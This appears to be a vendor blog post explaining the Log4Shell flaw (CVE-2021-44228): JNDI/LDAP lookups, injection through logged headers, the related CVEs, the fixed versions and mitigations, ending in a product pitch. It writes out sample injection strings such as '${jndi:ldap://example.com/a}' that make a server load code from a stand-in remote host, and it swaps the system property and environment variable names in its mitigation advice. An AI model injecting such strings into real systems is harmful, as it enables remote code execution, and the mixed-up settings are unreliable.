Log4j (CVE-2021–44228) Vulnerability Explained

Summary:

On December 9th of, 2021, a critical vulnerability was discovered affecting a Java logging package log4j. Log4j is an open-source logging framework written in Java that allows software developers to log various data within their applications. It is part of Apache Logging Services, a project of the Apache Software Foundation. Most of you have probably already heard about the Log4j security vulnerability (CVE-2021–44228), described as “the single biggest, most critical vulnerability of the last decade,” and are working to mitigate it.

Cybercriminals can compromise vulnerable systems by injecting malicious code into the Log4j framework due to a critical security flaw. Cybercriminals are conducting an exploitation frenzy due to the widespread nature of this security flaw and the fact that most organizations are unaware that they are affected. Every hour, approximately 10 million attempts are made to exploit Log4Shell. A report indicates that more than 840000 attacks were initiated within 72 hours of the vulnerability disclosure and that attacks reached over 100 per minute during the weekend. In addition to Apple iCloud, Steam, Minecraft, Redis, ElasticSearch, Twitter, Tesla, and Apache apps, Log4j is used in millions of software applications.

Log4j provides lookup functionality beyond the basic log formatting, including map lookups, system properties, and Java Naming and Directory Interface (JNDI) lookups. As a result, Log4j uses JNDI services to obtain information from various naming and directory services.

1. The logger captures information about the logging process.
2. The appenders feature allows logging information to be published to multiple destinations.
3. Customizing the layout of logging information is possible in a variety of ways.

What is Log4J vulnerability?

Logging plays a vital role in the development of software. An application’s runtime data can be systematically stored and debugged using well-written logging code. The solution lies in understanding JNDI (Java Naming and Directory Interface). JNDI allows Java programs to search a directory for data. Directory services are easily integrated with JNDI thanks to its service provider interfaces (SPIs), such as RMI Registry, CORBA COS (Common Object Service), and LDAP (Lightweight Directory Access Protocol). This vulnerability is primarily aimed at LDAP, a popular directory service. The vulnerability is caused by the Log4j2 library receiving variable data from LDAP and JNDI and executing it without verifying. As a result, a potential threat was exploitable by crafting a malicious request to send the payload.

LDAP and JNDI can be used together by Java programs to locate Java objects containing data that are needed. As a result, the LDAP server can run on any machine connected to the Internet, i.e., anywhere in the world. By causing Log4j to attempt to write a string like this, an attacker could control the LDAP URL ${jndi:ldap://example.com/a}. Log4j will contact the LDAP server at example.com, and it will retrieve the object. A vulnerability in Log4J is also known as Log4Shell and Log4Jam and is tracked under CVE-2021–44228.

How Log4j vulnerability works?

A typical attack vector involves inserting a malicious string into the HTTP request URL or an HTTP header, such as User-Agent, X-Remote-IP, X-Forwarded-For, etc. Typically, dozens of headers are logged. It is possible to exploit a vulnerability by causing the application to save a unique string of characters in the log file. The fact that applications routinely log various events, including messages sent and received by users and system errors, makes this vulnerability unusually easy to exploit.

Using a specially crafted request, an unauthenticated, remote attacker could exploit this vulnerability in Log4j. An attacker-controlled server over JNDI will request a malicious payload through one of the services mentioned above. If the vulnerable server uses Log4j to log requests, the exploit will request a malicious payload through JNDI through one of the abovementioned services. Java objects can be looked up using JNDI at runtime if a path to their data is provided, whereas LDAP retrieves their data as a URL from a local or remote server.

For example, one of the recognized expressions is ${jndi:<lookup>}, an arbitrary URL may be queried and loaded as Java object data by specifying LDAP as the lookup method. ${jndi:ldap://foobar.com/file}, the URL will load data from the Internet if the computer is connected. The malicious payload is logged by a server when it logs data ${jndi:ldap://foobar.com/file} the request triggers the Log4j vulnerability, and the server requests foobar.com through the JNDI. An attacker can use this vulnerability to inject a java class payload and execute arbitrary code on the logging server.

Impact of Log4j Vulnerability:

It is possible to conduct several cyber-attacks using the Log4j vulnerability.

1. Arbitrary code execution and remote code execution

2. Cyberattacks on supply chains

3. Deploying remotely accessible Trojans and ransomware

4. Disruption of services

5. The deployment of coin miners

The following are the change logs of multiple fix versions that have been released to date.

• CVE-2021–4104 (CVSS score: 8.1) — Log4j version 1.2 suffers from an untrusted deserialization flaw (no fix is available; upgrade to version 2.17.0).
• CVE-2021–44228 (CVSS score: 10.0) — this vulnerability affects Log4j versions 2.0-beta9 to 2.14.1 (Fixed in version 2.15.0).
• CVE-2021–44832 (CVSS score: 6.6)— An attacker can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI, which can execute remote code.
• CVE-2021–45046 (CVSS score: 9.0) — the vulnerability affects Log4j versions 2.0-beta9 to 2.15.0, excluding 2.12.2 (Fixed in version 2.16.0).
• CVE-2021–45105 (CVSS score: 7.5) — Log4j versions 2.0-beta9 to 2.16.0 are vulnerable to a denial-of-service vulnerability (Fixed in version 2.17.0).

A new version of Log4j 2.17.1 has been released exclusively to address CVE-2021–44832. In Log4j2 versions 2.17.1, 2.12.4, and 2.3.2, JNDI data source names are limited to the Java protocol.

How to mitigate Log4j vulnerability?

Log4J vulnerabilities can be mitigated most effectively by upgrading. The following alternatives are available in instances where this is not possible. Our recommendations for various remediation paths are outlined below.

Upgrade vulnerable versions

Upgrade to version 2.16.0 or higher to mitigate critical RCE vulnerabilities. We recommend upgrading to 2.17.0 or higher to resolve all notable vulnerabilities discovered in the past few weeks (including CVE-2021-45105, which impacts 2.16.0). A new version, 2.17.1, was released on December 28.

The replacement of affected classes (for releases from 2.0 to 2.10.0)

If upgrading is not possible, you can remove affected classes:

• Run the following command to remove the LDAP class from Log4J: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• Please remove this as well.: JndiManager, JMSAppender, SMTPAppender

Turning off JDNI Lookups (for Log4J >=2.10)

Log4J versions newer than 2.10.0 can disable JNDI lookups using the following settings:

• System property LOG4J_FORMAT_MSG_NO_LOOKUPS to true
• OR Environment variable log4j2.formatMsgNoLookups to true
• In Versions 2.16.0 and higher, disable JNDI lookups by default.

How to Defend Your Network from Zero-Day Vulnerabilities

Cyber security threats and Zero-day vulnerabilities are increasing at a tremendous pace. It is extremely difficult for cyber security analysts and incident responders to investigate and detect cyber security threats using conventional tools and techniques. NetSecurity’s ThreatResponder, with its diverse capabilities, can help your team detect the most advanced cyber threats, including APTs, zero-day attacks, rootkits, file-less malware, and ransomware attacks. It can also help automate incident response actions across millions of endpoints, making it easy, fast, and hassle-free.

Want to try our ThreatResponder, cutting-edge Endpoint Detection & Response (EDR), and ThreatResponder FORENSICS, the Swiss knife for forensic investigators in action? Click on the below button to request a free demo of our NetSecurity’s ThreatResponder platform.

Disclaimer

The page’s content shall be deemed proprietary and privileged information of NETSECURITY CORPORATION. It shall be noted that the contents of this page are copyrighted by NETSECURITY CORPORATION. Any violation/misuse/unauthorized use of this content “as is” or “modified” shall be considered illegal and subjected to articles and provisions that have been stipulated in the General Data Protection Regulation (GDPR) and Personal Data Protection Law (PDPL).